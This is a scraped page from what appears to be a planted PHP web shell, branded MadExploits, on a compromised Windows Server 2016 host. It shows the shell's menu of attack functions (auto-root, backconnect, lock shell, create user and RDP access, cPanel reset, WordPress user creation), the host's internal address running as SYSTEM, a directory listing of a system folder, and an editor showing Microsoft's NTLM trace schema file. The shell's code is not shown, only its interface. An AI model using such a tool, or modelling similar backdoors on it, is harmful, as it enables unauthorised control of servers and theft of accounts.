Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
Windows /
SysWOW64 /
wbem /
[ HOME SHELL ]
Name
Size
Permission
Action
AutoRecover
[ DIR ]
drwxrwxrwx
Logs
[ DIR ]
drwxrwxrwx
Repository
[ DIR ]
drwxrwxrwx
en
[ DIR ]
drwxrwxrwx
en-US
[ DIR ]
drwxrwxrwx
tmf
[ DIR ]
drwxrwxrwx
xml
[ DIR ]
drwxrwxrwx
AgentWmi.mof
17.1
KB
-rw-rw-rw-
AgentWmiUninstall.mof
693
B
-rw-rw-rw-
BthMtpEnum.mof
2.56
KB
-rw-rw-rw-
DscCoreConfProv.mof
6.52
KB
-rw-rw-rw-
FolderRedirectionWMIProvider.m...
8.79
KB
-rw-rw-rw-
FunDisc.mof
702
B
-rw-rw-rw-
IMAPIv2-Base.mof
31.36
KB
-rw-rw-rw-
IMAPIv2-FileSystemSupport.mof
2.03
KB
-rw-rw-rw-
IMAPIv2-LegacyShim.mof
759
B
-rw-rw-rw-
IpmiDTrc.mof
638
B
-rw-rw-rw-
IpmiPTrc.mof
763
B
-rw-rw-rw-
L2SecHC.mof
2.28
KB
-rw-rw-rw-
Microsoft.AppV.AppVClientWmi.d...
30.27
KB
-rw-rw-rw-
Microsoft.AppV.AppVClientWmi.m...
11.42
KB
-rw-rw-rw-
Microsoft.Uev.AgentWmi.dll
1.03
MB
-rw-rw-rw-
Microsoft.Uev.ManagedAgentWmi....
3.06
KB
-rw-rw-rw-
Microsoft.Uev.ManagedAgentWmiU...
514
B
-rw-rw-rw-
MsDtcWmi.mof
21.02
KB
-rw-rw-rw-
OfflineFilesConfigurationWmiPr...
5.43
KB
-rw-rw-rw-
OfflineFilesConfigurationWmiPr...
800
B
-rw-rw-rw-
OfflineFilesWmiProvider.mof
14.25
KB
-rw-rw-rw-
OfflineFilesWmiProvider_Uninst...
14.25
KB
-rw-rw-rw-
PolicMan.dll
80
KB
-rw-rw-rw-
PolicMan.mof
11.87
KB
-rw-rw-rw-
PrintManagementProvider.dll
170
KB
-rw-rw-rw-
PrintManagementProvider.mof
32.01
KB
-rw-rw-rw-
RacWmiProv.dll
55.5
KB
-rw-rw-rw-
RacWmiProv.mof
2.96
KB
-rw-rw-rw-
Remove.Microsoft.AppV.AppvClie...
830
B
-rw-rw-rw-
SchedProv.mof
49.88
KB
-rw-rw-rw-
UserStateWMIProvider.mof
3.18
KB
-rw-rw-rw-
WMIADAP.exe
124
KB
-rwxrwxrwx
WMIC.exe
384
KB
-rwxrwxrwx
WMICOOKR.dll
74.5
KB
-rw-rw-rw-
WPDShServiceObj.mof
2.99
KB
-rw-rw-rw-
WdacWmiProv.dll
112.5
KB
-rw-rw-rw-
WgxInstalledGame.mof
3.07
KB
-rw-rw-rw-
Win32_Tpm.dll
49
KB
-rw-rw-rw-
WinMgmt.exe
78
KB
-rwxrwxrwx
Winsat.mof
1.51
KB
-rw-rw-rw-
WinsatUninstall.mof
487
B
-rw-rw-rw-
WmiApRpl.dll
92.5
KB
-rw-rw-rw-
WmiDcPrv.dll
141.5
KB
-rw-rw-rw-
WmiPerfClass.dll
91
KB
-rw-rw-rw-
WmiPerfClass.mof
980
B
-rw-rw-rw-
WmiPerfInst.dll
50.5
KB
-rw-rw-rw-
WmiPerfInst.mof
804
B
-rw-rw-rw-
WmiPrvSE.exe
407
KB
-rwxrwxrwx
WsmAgent.mof
822
B
-rw-rw-rw-
WsmAgentUninstall.mof
754
B
-rw-rw-rw-
WsmAuto.mof
4.42
KB
-rw-rw-rw-
cli.mof
31.86
KB
-rw-rw-rw-
cliegaliases.mof
2.68
MB
-rw-rw-rw-
dimsjob.mof
1.21
KB
-rw-rw-rw-
dimsroam.mof
1.25
KB
-rw-rw-rw-
eaimeapi.mof
1.27
KB
-rw-rw-rw-
esscli.dll
345
KB
-rw-rw-rw-
fastprox.dll
761.5
KB
-rw-rw-rw-
fdSSDP.mof
656
B
-rw-rw-rw-
fdWNet.mof
716
B
-rw-rw-rw-
fdWSD.mof
656
B
-rw-rw-rw-
hbaapi.mof
471.2
KB
-rw-rw-rw-
ipmiprr.dll
3.5
KB
-rw-rw-rw-
ipmiprv.dll
160
KB
-rw-rw-rw-
ipmiprv.mof
207.81
KB
-rw-rw-rw-
ipsecsvc.mof
1.25
KB
-rw-rw-rw-
iscsidsc.mof
19.41
KB
-rw-rw-rw-
iscsihba.mof
111.28
KB
-rw-rw-rw-
iscsiprf.mof
44.96
KB
-rw-rw-rw-
iscsirem.mof
4.4
KB
-rw-rw-rw-
iscsiwmiv2.mof
36.29
KB
-rw-rw-rw-
iscsiwmiv2_uninstall.mof
2.71
KB
-rw-rw-rw-
kerberos.mof
8.55
KB
-rw-rw-rw-
lsasrv.mof
13.46
KB
-rw-rw-rw-
mispace.mof
1016.97
KB
-rw-rw-rw-
mispace_uninstall.mof
8.86
KB
-rw-rw-rw-
mmc.mof
698
B
-rw-rw-rw-
mofcomp.exe
20
KB
-rwxrwxrwx
mofd.dll
197
KB
-rw-rw-rw-
msdtcwmi.dll
137.5
KB
-rw-rw-rw-
msfeeds.mof
1.48
KB
-rw-rw-rw-
msfeedsbs.mof
1.54
KB
-rw-rw-rw-
msiscsi.mof
4.69
KB
-rw-rw-rw-
mstsc.mof
1.17
KB
-rw-rw-rw-
mstscax.mof
2.01
KB
-rw-rw-rw-
msv1_0.mof
7.54
KB
-rw-rw-rw-
mswmdm.mof
1.67
KB
-rw-rw-rw-
ncsi.mof
1.1
KB
-rw-rw-rw-
netprofm.mof
1.09
KB
-rw-rw-rw-
networkitemfactory.mof
683
B
-rw-rw-rw-
newdev.mof
3.59
KB
-rw-rw-rw-
nlasvc.mof
3.82
KB
-rw-rw-rw-
nlsvc.mof
2.81
KB
-rw-rw-rw-
npivwmi.mof
31.5
KB
-rw-rw-rw-
nshipsec.mof
1.24
KB
-rw-rw-rw-
polstore.mof
1.25
KB
-rw-rw-rw-
portabledeviceapi.mof
4.2
KB
-rw-rw-rw-
portabledeviceclassextension.m...
3.13
KB
-rw-rw-rw-
portabledeviceconnectapi.mof
1.74
KB
-rw-rw-rw-
portabledevicetypes.mof
3.41
KB
-rw-rw-rw-
portabledevicewiacompat.mof
1.72
KB
-rw-rw-rw-
ppcRsopCompSchema.mof
1.95
KB
-rw-rw-rw-
ppcRsopUserSchema.mof
1.94
KB
-rw-rw-rw-
qmgr.mof
2.25
KB
-rw-rw-rw-
rawxml.xsl
623
B
-rw-rw-rw-
rdpcore.mof
1.28
KB
-rw-rw-rw-
rdpencom.mof
1.13
KB
-rw-rw-rw-
rdpendp.mof
1.1
KB
-rw-rw-rw-
rdpinit.mof
1.17
KB
-rw-rw-rw-
rdpshell.mof
1.17
KB
-rw-rw-rw-
regevent.mof
109.08
KB
-rw-rw-rw-
samsrv.mof
61.08
KB
-rw-rw-rw-
scersop.mof
4.5
KB
-rw-rw-rw-
schannel.mof
1.05
KB
-rw-rw-rw-
schedprov.dll
179.5
KB
-rw-rw-rw-
setupapi.mof
3.6
KB
-rw-rw-rw-
stdprov.dll
107.5
KB
-rw-rw-rw-
storagewmi.mof
310.63
KB
-rw-rw-rw-
storagewmi_passthru.mof
1.85
KB
-rw-rw-rw-
storagewmi_passthru_uninstall....
1.61
KB
-rw-rw-rw-
storagewmi_uninstall.mof
13.03
KB
-rw-rw-rw-
tcpip.mof
2.99
KB
-rw-rw-rw-
texttable.xsl
5.86
KB
-rw-rw-rw-
textvaluelist.xsl
2.7
KB
-rw-rw-rw-
tsallow.mof
16.67
KB
-rw-rw-rw-
tsmf.mof
1.21
KB
-rw-rw-rw-
tspkg.mof
1.04
KB
-rw-rw-rw-
vds.mof
59.63
KB
-rw-rw-rw-
vdswmi.dll
163.5
KB
-rw-rw-rw-
viewprov.dll
137.5
KB
-rw-rw-rw-
vss.mof
59.05
KB
-rw-rw-rw-
vsswmi.dll
113
KB
-rw-rw-rw-
wbemcntl.dll
294
KB
-rw-rw-rw-
wbemdisp.dll
241
KB
-rw-rw-rw-
wbemdisp.tlb
58.5
KB
-rw-rw-rw-
wbemprox.dll
34.5
KB
-rw-rw-rw-
wbemsvc.dll
47.5
KB
-rw-rw-rw-
wdigest.mof
1.08
KB
-rw-rw-rw-
whqlprov.mof
3.88
KB
-rw-rw-rw-
wininit.mof
1.71
KB
-rw-rw-rw-
winipsec.mof
1.24
KB
-rw-rw-rw-
wmiutils.dll
97.5
KB
-rw-rw-rw-
wmp.mof
4.77
KB
-rw-rw-rw-
wpdbusenum.mof
2.74
KB
-rw-rw-rw-
wpdcomp.mof
2.75
KB
-rw-rw-rw-
wpdfs.mof
2.68
KB
-rw-rw-rw-
wpdmtp.mof
3.27
KB
-rw-rw-rw-
wpdshext.mof
3.24
KB
-rw-rw-rw-
wpdsp.mof
2.92
KB
-rw-rw-rw-
wsp_fs.mof
537.9
KB
-rw-rw-rw-
wsp_fs_uninstall.mof
2.71
KB
-rw-rw-rw-
wsp_health.mof
543.05
KB
-rw-rw-rw-
wsp_health_uninstall.mof
2.31
KB
-rw-rw-rw-
wsp_sr.mof
581.34
KB
-rw-rw-rw-
wsp_sr_uninstall.mof
3.38
KB
-rw-rw-rw-
xsl-mappings.xml
2.8
KB
-rw-rw-rw-
xwizards.mof
2.15
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : msv1_0.mof
//********************************************* //*** MSV1_0 SSP: MSV1_0 //********************************************* #pragma autorecover #pragma classflags("forceupdate") #pragma namespace ("\\\\.\\Root\\WMI") [Dynamic, Description("Security: NTLM Authentication") : amended, Guid("{5BBB6C18-AA45-49b1-A15F-085F7ED0AA90}"), locale("MS\\0x409")] class MSV1_0DebugTrace : EventTrace { [ Description ("Enable Flags") : amended, ValueDescriptions{ "Error Flag", "Warning Flag", "Init Flag", "Misc Flag", "Logon Session Flag", "Leak Track Flag", "Lpc Flag", "Lpc More Flag", "Api Flag", "Api More Flag", "Session Keys Flag", "Negotiate Flag", "Updates Flag", "NTLM V2 Flag", "Credentials Flag", "Protocol Version Flag", "Target Flag"} : amended, Values{"Error", "Warning", "Init", "Misc", "LogonSess", "Leak", "Lpc", "LpcMore", "Api", "ApiMore", "SKey", "Nego", "Updates", "NtLmV2", "Cred", "Version", "Target"}, ValueMap{"0x00000001", "0x00000002", "0x00000004", "0x00000008", "0x00000010", "0x00000020", "0x00000040", "0x00000080", "0x00000100", "0x00000200", "0x00000400", "0x00000800", "0x00001000", "0x00002000", "0x00004000", "0x00008000", "0x00010000"} : amended ] uint32 Flags; }; [Dynamic, Description("NTLM Security Protocol") : amended, Guid("{C92CF544-91B3-4dc0-8E11-C580339A0BF8}"), locale("MS\\0x409")] class MSV1_0Trace:EventTrace { }; [Dynamic, Description("NTLM Server Accept") : amended, Guid("{94d4c9eb-0d01-41ae-99e8-15b26b593a83}"), DisplayName("NtlmServerAccept"), locale("MS\\0x409") ] class NtlmServerAccept:MSV1_0Trace { }; [Dynamic, Description("NTLM Server Accept") : amended, EventType(1), EventTypeName("Start"), locale("MS\\0x409") ] class NtlmServerAccept_Start:NtlmServerAccept { [WmiDataId(1), Description("Stage Hint") : amended, read] uint32 StageHint; [WmiDataId(2), Description("In-Context") : amended, pointer, read] uint32 InContext; }; [Dynamic, Description("NTLM Server Accept") : amended, EventType(2), EventTypeName("End"), locale("MS\\0x409") ] class NtlmServerAccept_End:NtlmServerAccept { [WmiDataId(1), Description("Stage Hint") : amended, read] uint32 StageHint; [WmiDataId(2), Description("In-Context") : amended, pointer, read] uint32 InContext; [WmiDataId(3), Description("Out-Context") : amended, pointer, read] uint32 OutContext; [WmiDataId(4), Description("Status") : amended, read] uint32 Status; }; [Dynamic, Description("NTLM Server Accept") : amended, EventType(0), EventTypeName("Info"), locale("MS\\0x409") ] class NtlmServerAccept_Info:NtlmServerAccept { [WmiDataId(1), Description("Stage Hint") : amended, read] uint32 StageHint; [WmiDataId(2), Description("In-Context") : amended, pointer, read] uint32 InContext; [WmiDataId(3), Description("Out-Context") : amended, pointer, read] uint32 OutContext; [WmiDataId(4), Description("Flags") : amended, read] uint32 Flags; [WmiDataId(5), Description("Client User Name") : amended, StringTermination("Counted"), format("w"), read] string UserName; [WmiDataId(6), Description("Client Domain Name") : amended, StringTermination("Counted"), format("w"), read] string DomainName; [WmiDataId(7), Description("Client Workstation") : amended, StringTermination("Counted"), format("w"), read] string Workstation; }; [Dynamic, Description("NTLM Client Initialize") : amended, Guid("{6df28b22-73be-45cc-ba80-8b332b35a21d}"), DisplayName("NtlmClientInitialize"), locale("MS\\0x409") ] class NtlmClientInitialize:MSV1_0Trace { }; [Dynamic, Description("NTLM Client Initialize") : amended, EventType(1), EventTypeName("Start"), locale("MS\\0x409") ] class NtlmClientInitialize_Start:NtlmClientInitialize { [WmiDataId(1), Description("Stage Hint") : amended, read] uint32 StageHint; [WmiDataId(2), Description("In-Context") : amended, pointer, read] uint32 InContext; }; [Dynamic, Description("NTLM Client Initialize") : amended, EventType(2), EventTypeName("End"), locale("MS\\0x409") ] class NtlmClientInitialize_End:NtlmClientInitialize { [WmiDataId(1), Description("Stage Hint") : amended, read] uint32 StageHint; [WmiDataId(2), Description("In-Context") : amended, pointer, read] uint32 InContext; [WmiDataId(3), Description("Out-Context") : amended, pointer, read] uint32 OutContext; [WmiDataId(4), Description("Status") : amended, read] uint32 Status; }; [Dynamic, Description("NTLM Logon User") : amended, Guid("{19196b33-a302-4c12-9d5a-eac149e93c46}"), DisplayName("NtlmLogonUser"), locale("MS\\0x409") ] class NtlmLogonUser:MSV1_0Trace { }; [Dynamic, Description("NTLM Logon User") : amended, EventType(1), EventTypeName("Start"), locale("MS\\0x409") ] class NtlmLogonUser_Start:NtlmLogonUser { }; [Dynamic, Description("NTLM Logon User") : amended, EventType(2), EventTypeName("End"), locale("MS\\0x409") ] class NtlmLogonUser_End:NtlmLogonUser { [WmiDataId(1), Description("Status") : amended, read] uint32 Status; [WmiDataId(2), Description("Logon Type") : amended, read] uint32 LogonType; [WmiDataId(3), Description("User Name") : amended, StringTermination("Counted"), format("w"), read] string UserName; [WmiDataId(4), Description("Domain Name") : amended, StringTermination("Counted"), format("w"), read] string DomainName; }; [Dynamic, Description("NTLM Validate Credentials") : amended, Guid("{34d84181-c28a-41d8-bb9e-995190df83df}"), DisplayName("NtlmValidateUser"), locale("MS\\0x409") ] class NtlmValidateUser:MSV1_0Trace { }; [Dynamic, Description("NTLM Validate Credentials") : amended, EventType(1), EventTypeName("Start"), locale("MS\\0x409") ] class NtlmValidateUser_Start:NtlmValidateUser { }; [Dynamic, Description("NTLM Validate Credentials") : amended, EventType(2), EventTypeName("End"), locale("MS\\0x409") ] class NtlmValidateUser_End:NtlmValidateUser { [WmiDataId(1), Description("Success Bitmask") : amended, read] uint32 Success; [WmiDataId(2), Description("Logon Server") : amended, StringTermination("Counted"), format("w"), read] string LogonServer; [WmiDataId(3), Description("Domain Name") : amended, StringTermination("Counted"), format("w"), read] string LogonDomain; [WmiDataId(4), Description("User Name") : amended, StringTermination("Counted"), format("w"), read] string UserName; [WmiDataId(5), Description("Logon Workstation") : amended, StringTermination("Counted"), format("w"), read] string Workstation; };
Close